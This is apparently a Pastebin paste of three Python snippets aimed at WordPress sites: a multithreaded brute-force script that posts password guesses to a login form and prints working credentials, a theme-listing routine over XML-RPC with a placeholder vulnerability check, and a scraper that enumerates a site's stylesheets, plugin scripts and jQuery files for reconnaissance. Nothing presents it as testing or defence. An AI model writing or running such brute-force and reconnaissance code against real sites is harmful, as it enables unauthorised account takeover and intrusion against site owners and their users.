Advertisement
JouJoy

Untitled

Mar 12th, 2023
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.09 KB | None | 0 0
  1. import requests
  2. from threading import Thread
  3. from queue import Queue
  4.  
  5. def brute_force(url, username, passwords):
  6. for password in passwords:
  7. session = requests.Session()
  8. login_data = {'log': username, 'pwd': password}
  9. response = session.post(url, data=login_data)
  10. if 'wp-admin' in response.text:
  11. print(f'Successful login: {username}:{password}')
  12. return (username, password)
  13. print('Brute force failed')
  14. return None
  15.  
  16. def multi_thread_brute_force(url, username, passwords, num_threads=10):
  17. password_queue = Queue()
  18. results = []
  19. for password in passwords:
  20. password_queue.put(password)
  21.  
  22. def brute_force_worker():
  23. while not password_queue.empty() and not results:
  24. password = password_queue.get()
  25. result = brute_force(url, username, [password])
  26. if result:
  27. results.append(result)
  28.  
  29. threads = [Thread(target=brute_force_worker) for _ in range(num_threads)]
  30. for t in threads:
  31. t.start()
  32. for t in threads:
  33. t.join()
  34.  
  35. if results:
  36. return results[0]
  37. else:
  38. return None
  39. ##############
  40. from wordpress_xmlrpc import Client
  41. from wordpress_xmlrpc.methods import themes
  42.  
  43. def get_all_themes(url, username, password):
  44. wp = Client(url + 'xmlrpc.php', username, password)
  45. all_themes = wp.call(themes.GetThemes())
  46. return all_themes
  47.  
  48. def get_vulnerable_themes(url, username, password):
  49. all_themes = get_all_themes(url, username, password)
  50. vulnerable_themes = []
  51. for theme in all_themes:
  52. if theme.version in vulnerable_themes:
  53. continue
  54. # проверка на уязвимости темы
  55. if is_vulnerable(theme):
  56. vulnerable_themes.append(theme.version)
  57. return vulnerable_themes
  58.  
  59. def is_vulnerable(theme):
  60. # проверка на уязвимости темы
  61. return False # замените на свою функцию проверки уязвимости
  62. #####################
  63. import requests
  64. from bs4 import BeautifulSoup
  65.  
  66. # URL сайта
  67. url = "https://example.com"
  68.  
  69. # Отправляем GET запрос на главную страницу сайта
  70. response = requests.get(url)
  71.  
  72. # Парсим HTML страницу с помощью BeautifulSoup
  73. soup = BeautifulSoup(response.text, "html.parser")
  74.  
  75. # Ищем тег <link> с атрибутом rel="stylesheet"
  76. stylesheets = soup.find_all("link", {"rel": "stylesheet"})
  77.  
  78. # Ищем тег <script> с атрибутом src, содержащим "plugins"
  79. plugins = soup.find_all("script", {"src": lambda src: "plugins" in src})
  80.  
  81. # Ищем тег <script> с атрибутом src, содержащим "jquery"
  82. jquery = soup.find_all("script", {"src": lambda src: "jquery" in src})
  83.  
  84. # Выводим результаты
  85. print("Стили:")
  86. for stylesheet in stylesheets:
  87. print(stylesheet.get("href"))
  88.  
  89. print("Плагины:")
  90. for plugin in plugins:
  91. print(plugin.get("src"))
  92.  
  93. print("jQuery:")
  94. for jq in jquery:
  95. print(jq.get("src"))
  96.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement